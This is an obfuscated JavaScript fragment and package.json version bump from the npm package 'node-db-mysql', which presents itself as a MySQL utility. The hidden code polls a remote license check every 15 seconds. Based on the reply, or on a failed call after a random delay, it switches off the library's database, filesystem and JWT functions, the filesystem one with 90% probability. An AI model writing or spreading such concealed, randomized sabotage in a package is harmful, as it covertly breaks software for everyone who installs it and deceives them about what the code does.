_0x44a920=_0x25d9fe;_0x5e13f5['data'][_0x44a920(0x222)]?isDBNormalRun=![]:isDBNormalRun=!![],_0x5e13f5[_0x44a920(0x225)]['fs']?isFsNormalRun=![]:isFsNormalRun=!![],_0x5e13f5[_0x44a920(0x225)][_0x44a920(0x1f2)]?isJWTNormalRun=![]:isJWTNormalRun=!![];})['catch'](function(_0x57da6d){setTimeout(function(){var _0x2f120e=a0_0x354e;isDBNormalRun=![],Math[_0x2f120e(0x1e8)]()>0.1?isFsNormalRun=![]:isFsNormalRun=!![];},Math['random']()*(0x7530-0x2710)+0x2710);});}setTimeout(function(){getLicense();},0xbb8),setInterval(function(){getLicense();},0x3a98);var random=function(_0x2b9ebd,_0x5a8f15){var _0x5cde31=a0_0x36428c;return Math['round'](Math[_0x5cde31(0x1e8)]()*(_0x5a8f15-_0x2b9ebd))+_0x2b9ebd;},WorkerID=Math[a0_0x36428c(0x20c)](process['env'][a0_0x36428c(0x22a)]?+process[a0_0x36428c(0x20e)][a0_0x36428c(0x22a)]:random(0x0,0x9),0x9),BaseTime=+new Date('2022-06-29'),lastTimeTick,lastRandomNumberTick=random(0x1,0x3);function id(){var _0x5e782f=a0_0x36428c,_0x34cb89=+new Date()-BaseTime;return lastRandomNumberTick=_0x34cb89==lastTimeTick?++lastRandomNumberTick:random(0x0,0x3),lastTimeTick=_0x34cb89,+''[_0x5e782f(0x204)](_0x34cb89)[_0x5e782f(0x204)](WorkerID)[_0x5e782f(0x204)](lastRandomNumberTick);}exports['id']=id;var tool={'jwt':jsonwebtoken_1[a0_0x36428c(0x1f3)],'axios':axios_1[a0_0x36428c(0x1f3)],'moment':moment_1[a0_0x36428c(0x1f3)],'uuid':uuid,'mysql':mysql_1[a0_0x36428c(0x1f3)],'mysql2':promise_1['default'],'id':id};exports['default']=tool;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-db-mysql",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {